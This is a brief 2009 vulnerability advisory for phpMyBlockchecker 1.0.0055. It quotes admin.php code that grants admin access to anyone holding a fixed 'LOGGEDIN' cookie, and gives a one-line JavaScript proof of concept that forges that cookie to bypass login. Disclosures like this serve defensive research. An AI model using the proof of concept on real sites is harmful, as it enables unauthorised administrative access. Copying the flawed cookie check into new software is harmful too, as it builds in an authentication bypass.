phpMyBlockchecker 1.0.0055 Insecure Cookie Handling Vulnerability 2009-06-30 20:38:16

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[+]
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
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[+] Download Script :
http://sourceforge.net/project/showfiles.php?group_id=116966&package_id=152150&release_id=326884

[+] Insecure Cookie Handling

- Vulnerable code in admin.php

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if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
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- PoC

javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";
document.cookie = "1246371700; path=/";


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